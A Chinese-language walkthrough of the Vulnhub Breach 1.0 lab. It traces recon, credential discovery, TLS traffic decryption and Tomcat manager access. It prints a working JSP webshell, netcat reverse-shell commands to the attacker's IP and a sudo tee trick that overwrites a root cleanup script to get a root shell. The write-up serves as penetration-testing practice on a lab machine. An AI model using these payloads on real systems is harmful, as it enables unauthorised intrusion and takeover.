相比於CTF題目,Vulnhub的靶場更貼近於實際一些,而且更加綜合考察了知識。在這里記錄以下打這個靶場的過程和心得。
測試環境
-
Kali linux IP:192.168.110.128
-
Breach 1.0 IP:192.168.110.140
均通過NAT模式連主機
信息搜集
先掃描開放端口,發現開了一大堆。

直接查看80端口Web服務

查看頁面源碼有一串字符
<!------Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo ----->

得到一串意義不明的東西
pgibbons:damnitfeel$goodtobeagang$ta
點擊圖片有跳轉,挨個點擊,發現了一個impress cms

那看到cms第一反應就是去找現成的漏洞,有跨站腳本執行和本地文件包含,但都是在admin的情況下才可以執行, 這個時候我們不妨試試之前解出的那串字符,作為賬號密碼。
發現可以成功,進入之后查看發現有個收件箱,里面三封郵件得到了一個關鍵信息,192.168.110.140/.keystore,是一個SSL證書,訪問鏈接即可下載。
但是線索到這里暫時斷了,但是網上找到一個漏洞信息
漏洞信息
ImpressCMS是一款內容管理系統。
ImpressCMS存在跨站腳本漏洞,可通過PATH_INFO傳遞給otifications.php,modules/system/admin/images/browser.php和modules/content/admin/content.php腳本的輸入注入WEB腳本或HTML,可獲得敏感信息或劫持用戶會話。
雖然經一系列嘗試無果,但是在訪問modules/content/admin/content.php的時候,由於沒有權限跳轉到了這個頁面

content下面有個鏈接

是一個流量包,那之前拿到的SSL證書就能用到了。
關鍵信息:http://192.168.110.140/impresscms/_SSL_test_phase1.pcap They told me the alias, storepassword and keypassword are all set to 'tomcat'.
查看流量包
打開流量包,直接查看沒有什么有用信息

導入SSL證書,因為是tomcat服務所以端口號選擇8443,

說明我們拿到的證書格式不對,需要PKCS12格式的證書。我們使用keytool查看信息,密碼是tomcat

根據提示信息操作
keytool -importkeystore -srckeystore keystore -destkeystore keystore -deststoretype pkcs12

現在格式正確了
重新導入,多了一些http包

我們篩選一下http包

發現在請求一個網頁,但是第一次沒有成功,比較兩個數據包,發現多了這一行請求。

我們也嘗試訪問這個頁面
但是一直訪問不成功,嘗試抓包
才發現是覺得不安全被攔截了,抓包訪問的時候會讓你輸入賬號密碼

tomcat:Tt\5D8F(#!*u=G)4m7zB
使用流量包中發現的賬號密碼登錄

進入后台
我們進入了一個tomcat的后台界面,發現一個文件上傳點,需要上傳war包。

<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
打包成war上傳之后訪問,傳參

成功,但是測試的時候發現隔一會上傳的馬會被刪除,應該是后台有一個定時清除的腳本,因此我們彈一個shell出來
GetShell以及提權
Kali使用nc -lnvp 8888監聽
發送nc -v 192.168.110.128 8888 -e /bin/bash, 成功之后使用python -c 'import pty;pty.spawn("/bin/sh")'進入交互式界面

home目錄下兩個用戶以及/etc/passwd

發現在/var/www/5446/目錄下有兩個奇怪的php文件


發現是數據庫的賬號和密碼,我們連接數據庫看一看


找到了milton用戶的密碼hash值

破解得密碼thelaststraw。
登錄milton用戶,但是發現很遺憾,這個用戶沒有sudo權限

查看.bash_history

看樣子我們需要得到blumbergh用戶的權限。我們再看milton家目錄下的那張圖片,放到/var/www/html/images/目錄下

檢查這張圖片,並沒有什么玄機。

再查看images下的圖片權限

發現有兩張圖片的權限與其他不同,查看

發現bill.png下面有個comment是coffeestains,結果這個就是blumbergh用戶的密碼,就挺離譜的。
登錄blumbergh用戶,查看.bash_history

查看一下tidyup.sh

就是這個指令之前刪除了我們的shell
但是這個腳本的權限是755, 現有權限並不能更改

但是我們發現現在這個用戶有一個權限,就是可以使用tee指令

因此就有了修改的方式
echo nc -v 192.168.110.128 8888 -e /bin/bash | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

因為這個腳本是root用戶的權限,因此我們通過這個方式反彈出來的shell就是root權限。設置監聽之后等待即可。


至此,成功提權到root。
